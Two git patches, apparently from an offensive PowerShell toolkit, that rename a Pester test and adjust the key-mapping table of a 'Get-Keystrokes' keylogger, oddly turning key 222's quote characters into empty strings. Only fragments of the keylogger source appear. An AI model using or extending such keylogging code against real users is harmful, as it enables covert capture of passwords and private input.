From ef887af9d6b58e7114332a989b15ba4c306ccd83 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Sat, 9 Jan 2016 17:55:47 -0600 Subject: Update Exfiltration.tests.ps1 --- Tests/Exfiltration.tests.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index baeebb8..30e2f53 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -40,7 +40,7 @@ Describe 'Get-Keystrokes' { $KeyTime.GetType().Name | Should Be 'DateTime' } - It 'Should stop logging Pester is SUPER l337!after timeout' { + It 'Should stop logging after timeout' { $Timeout = 0.05 $KeyLogger = Get-Keystrokes -Timeout $Timeout -Return @@ -52,4 +52,4 @@ Describe 'Get-Keystrokes' { } Remove-Item -Force "$($env:TEMP)\key.log" -} \ No newline at end of file +} -- cgit v1.2.3 From d133db696ad364a8387163569325129b0c0b08a3 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Mon, 11 Jan 2016 09:09:48 -0600 Subject: Update Get-Keystrokes.ps1 --- Exfiltration/Get-Keystrokes.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d78f9c2..cc6b7a9 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -214,7 +214,7 @@ function Get-Keystrokes { 111 { $Key = "/" } } } - elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) { + elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) { if ($Shift) { switch ($vKey.value__) { # Shiftable characters 48 { $Key = ')' } @@ -237,7 +237,7 @@ function Get-Keystrokes { 219 { $Key = '{' } 220 { $Key = '|' } 221 { $Key = '}' } - 222 { $Key = '"' } + 222 { $Key = '' } } } else { @@ -262,7 +262,7 @@ function Get-Keystrokes { 219 { $Key = '[' } 220 { $Key = '\' } 221 { $Key = ']' } - 222 { $Key = "`'" } + 222 { $Key = '' } } } } @@ -369,4 +369,4 @@ function Get-Keystrokes { [void]$PowerShell.BeginInvoke() if ($Return.IsPresent) { return $PowerShell } -} \ No newline at end of file +} -- cgit v1.2.3